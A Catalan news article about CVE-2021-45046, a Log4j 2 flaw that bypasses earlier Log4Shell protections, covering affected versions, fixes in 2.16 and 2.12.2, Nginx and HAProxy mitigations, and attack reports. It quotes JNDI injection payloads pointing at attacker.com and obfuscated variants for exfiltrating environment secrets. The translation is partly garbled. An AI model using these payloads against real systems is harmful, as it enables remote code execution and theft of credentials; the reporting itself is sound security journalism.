Van identificar una altra vulnerabilitat Log4j 2 que permet executar codi maliciós

log4j

Fa poc es va donar a conèixer la notícia que va ser identificada una altra vulnerabilitat en la implementació de cerques JNDI a la biblioteca Log4j 2 (CVE-2021-45046), que es manifesta malgrat les correccions agregades a la versió 2.15 i independentment de l'ús de la configuració de protecció «log4j2.noFormatMsgLookup».

el problema és notablement perillós principalment per a versions anteriors de Log4j 2, protegides amb la bandera «noFormatMsgLookup», ja que permet eludir la protecció contra vulnerabilitats passades (Log4Shell, CVE-2021-44228), que us permet executar el vostre codi al servidor.

Per als usuaris de la versió 2.15, l'operació es limita a crear condicions per a la terminació anormal de laplicació per esgotament dels recursos disponibles.

la vulnerabilitat només afecta els sistemes que utilitzen la cerca de context, com a ${ctx: loginId}, o plantilles de mapa de context de subprocessos (MDC), com a % X, % mdc i % MDC, per al registre.

L'operació es redueix a la creació de condicions per enviar dades que contenen substitucions de JNDI al registre quan s'utilitzen consultes de context o plantilles MDC a l'aplicació, que determinen les regles per formatar la sortida al registre.

Els investigadors de LunaSec van assenyalar que per a les versions de Log4j inferiors a 2.15, aquesta vulnerabilitat es pot fer servir com un nou vector per a un atac Log4Shell, el que porta a lexecució del codi si les expressions ThreadContext sutilitzen en enviar al registre, que inclou dades externes, independentment de si la bandera està encesa per a protecció. "noMsgFormatLookups" o plantilla "% m {nolookups}".

L'omissió de protecció es redueix al fet que en lloc de la substitució directa ${jndi:ldap://example.com/a}, aquesta expressió se substitueix pel valor d'una variable intermèdia utilitzada en les regles per formatar la sortida al registre.

Per exemple, si s'utilitza la sol·licitud de context ${ctx:apiversion} quan s'envia al registre, l'atac es pot dur a terme substituint les dades «${jndi: ldap: //attacker.com/a}» al valor escrit a la variable de desviament.

A la versió Log4j 2.15, la vulnerabilitat es pot utilitzar per realitzar atacs DoS en passar valors a ThreadContext, cosa que genera un bucle en el processament del patró de format de sortida.

Per poder tractar de donar solució als problemes trobats s'han publicat les actualitzacions 2.16 i 2.12.2 per bloquejar la vulnerabilitat. A la branca Log4j 2.16, a més de les correccions implementades a la versió 2.15 i la vinculació de sol·licituds JNDI LDAP a «localhost», per defecte la funcionalitat JNDI està completament deshabilitada i s'ha eliminat el suport per a plantilles de substitució de missatges.

Com a solució alternativa, se suggereix eliminar la classe JndiLookup de la ruta de classes (per exemple, «zip -q -d log4j-core – *. Jar org /apache/logging/log4j/core/lookup/JndiLookup.class»).

Quant a les accions preses pels diferents projectes:

Per a la Nginx, basat en el mòdul njs, s'ha preparat un script que bloqueja la transmissió d'expressions JNDI a les capçaleres HTTP, URI i el cos de les sol·licituds POST. L'script es pot utilitzar a servidors frontend per protegir backends.
Per a HAProxy , es proporcionen regles de configuració per bloquejar el funcionament de CVE-2021-44228.

A més dels anteriorment identificats atacs dirigits a la formació d'una xarxa de bots per a criptomoneda la mineria, no van ser fets de l'explotació d'una vulnerabilitat a Log4J 2 per difondre ransomware maliciós xifrar el contingut dels discos i que requereixen un rescat per al desxifrat .

Checkpoint ha identificat al voltant de 60 variants diferents d'exploits utilitzats per als atacs.

CloudFlare va informar que els intents de provar la manifestació duna vulnerabilitat a Log4j es van identificar l?1 de desembre, és a dir, 8 dies abans de la divulgació pública del problema. Els primers intents d'explotar la vulnerabilitat es van registrar només 9 minuts després que es divulgués la informació. L'informe de CloudFlare també esmenta l'ús de substitucions com a ${env: FOO: -j} ndi: $ {lower: L} dóna $ {lower: P}" per ometre la màscara "jndi: ldap" i l'ús de expressions d'atac ${env} per transferir informació sobre contrasenyes i claus d'accés emmagatzemades en variables d'entorn a un servidor extern, i expressions ${sys} per recopilar informació sobre el sistema.

Finalment si estàs interessat en poder conèixer més a l'respecte pots consultar el següent enllaç.


Deixa el teu comentari

La seva adreça de correu electrònic no es publicarà. Els camps obligatoris estan marcats amb *

*

*

  1. Responsable de les dades: AB Internet Networks 2008 SL
  2. Finalitat de les dades: Controlar l'SPAM, gestió de comentaris.
  3. Legitimació: El teu consentiment
  4. Comunicació de les dades: No es comunicaran les dades a tercers excepte per obligació legal.
  5. Emmagatzematge de les dades: Base de dades allotjada en Occentus Networks (UE)
  6. Drets: En qualsevol moment pots limitar, recuperar i esborrar la teva informació.